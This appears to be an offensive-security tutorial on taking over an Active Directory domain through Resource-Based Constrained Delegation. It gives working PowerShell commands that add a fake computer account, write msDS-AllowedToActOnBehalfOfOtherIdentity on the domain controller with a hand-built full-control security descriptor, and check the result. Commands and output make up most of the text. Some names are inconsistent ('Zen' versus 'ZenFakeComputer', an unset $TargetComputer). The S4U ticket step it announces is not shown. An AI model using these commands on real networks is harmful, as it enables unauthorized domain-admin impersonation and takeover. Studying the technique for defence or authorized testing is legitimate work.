Taking over a computer object and performing a S4U attack
Resource Based Constrained Delegation can be exploited by adding a fake computer $FAKE-COMP01 to the domain, configuring it to act on behalf of the DC. This lets us request Kerberos tickets as $FAKE-COMP01 impersonating a domain admin. We then use Pass-the-Ticket to authenticate as admin and take over the domain by performing a S4U attack.
Resource-Based Constrained Delegation (RBCD) is a mechanism in Active Directory that allows a specific object to impersonate any user instead of a user impersonating a user. RBCD can granting computer objects impersonation rights. This is done by using msDS-AllowedToActOnBehalfOfOtherIdentity. Any user withpermissions (like GenericAll or WriteDacl) on a computer account can configure it.
The ms-ds-machineaccountquota attribute needs to be higher than 0. This attribute controls the amount of computers that authenticated domain users can add to the domain.
Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity
name msds-allowedtoactonbehalfofotheridentity
---- ----------------------------------------
DC
3
Need GenericAll or WriteDACL
Our current user or a group that our user is a member of, needs to have WRITE privileges ( GenericAll , WriteDACL ) over a domain joined computer
Performing the S4U attack
S4U (Service for User) is a Kerberos protocol extension that allows a service to impersonate a user to access other resources. A successful S4U attack involves exploiting vulnerabilities in this mechanism to gain unauthorized access to sensitive resources.
Method1
Create a new computer account to abuse write privilege on the DC. We then set msDS-AllowedToActOnBehalfOfOtherIdentity to our account so we can impersonate as any user from to the DC. For this you need to import Powermad.
New-MachineAccount -MachineAccount Zen -Password $(ConvertTo-SecureString 'pass@123' -AsPlainText -Force)
We can then set msDS-AllowedToActOnBehalfOfOtherIdentity on our account
Set-ADComputer dc -PrincipalsAllowedToDelegateToAccount Zen$
Configure the DC to trust my fake computer by creating an ACL with its SID and assigning it to the DC.
# Get the objectSID of the target computer (ZenFakeComputer)
$fakesid = Get-DomainComputer ZenFakeComputer | select -expand objectsid
# Create a new security descriptor that grants full control to the target computer
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
# Convert the security descriptor to a byte array
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Set the msds-allowedtoactonbehalfofotheridentity attribute on the target computer
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Check if it worked
# Get the raw security descriptor of the domain controller
$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
# Create a new security descriptor object from the raw bytes
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
# Access the discretionary access control list (DACL) of the security descriptor
$Descriptor.DiscretionaryAcl
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5602
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
It shows an Access Control List that specifies the machines that can act on behalf of the DC with SecurityIdentifier of my fake computer with AccesAllowed.
